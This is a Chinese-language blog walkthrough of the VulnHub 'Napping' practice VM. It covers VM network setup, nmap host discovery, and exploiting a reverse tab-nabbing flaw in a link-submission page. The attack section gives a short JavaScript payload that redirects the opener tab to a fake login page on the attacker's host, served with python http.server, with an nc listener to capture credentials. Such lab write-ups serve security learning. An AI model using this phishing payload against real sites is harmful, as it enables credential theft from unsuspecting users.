vulnhub-Napping.1.0.1 · clubsk

vulnhub-Napping.1.0.1

一些说明

一、准备工作时出现的一些问题以及解决

问题一

  • 一开始用net模式扫描,完全扫描不出靶机ip
  • 解决:切换到桥连

问题二

  • 桥连后,kali直接弹出disconnected
  • 原因:vm的桥连默认模式是自动
  • 解决:必须去手动指定为物理网卡,即WiFi

二、收集信息

1.ip a

看一下网段

2.小插曲

用了好多方法扫描,就是找不到靶机,查了一下,Napping在VMware里面好像不太兼容,于是转变思路,下载virtual box,并把靶机装上去(记得设置成桥连)

3.nmap -sn 192.168.0.0/24

列出所有存活主机的IP,不是Kali IP,不是网关,一般就是靶机(如果连的WiFi,那么还有手机,别看错了,本人已严肃踩坑)

4.ping -c 3 靶机IP

ping一下,测试连通性

5.nmap -sV -p- 靶机IP

扫一下它开了什么端口

三、分析

1.端口分析

看到开了80(web),22(ssh),明确方向web拿账号密码,ssh登录

2.先看web页面

发现是个登录页面,随便注册个账号登录一下,看见一个提交链接页面,输入一个百度的链接发现能跳转,查看源代码,发现站点上的此特定 URL 链接功能容易受到Tab Nabbing(点击跳转)钓鱼攻击。

四、攻击

1.做一个假登录页面放在桌面

<!DOCTYPE html>
<html>
<body>
    <script>
    	if(window.opener) window.opener.parent.location.replace('ip/监听端口/正常页面');
    	if(window.opener  != window) window.opener.parent.location.replace(同上);
    </script>
</body>
</html>


2.到这里有两个方法,大同小异

  • 第一个是做一个普通页面(因为是靶机)(没试过)
  • 第二个是复制登录页面 如图

3.开启网页服务器

  • python3 -m http.server 8080

4.监听恶意页面的端口

  • nc -lvvp 9876(开的端口)

5.提交链接

等了一会,拿到账号密码

6.登录

7.拿到shell

力竭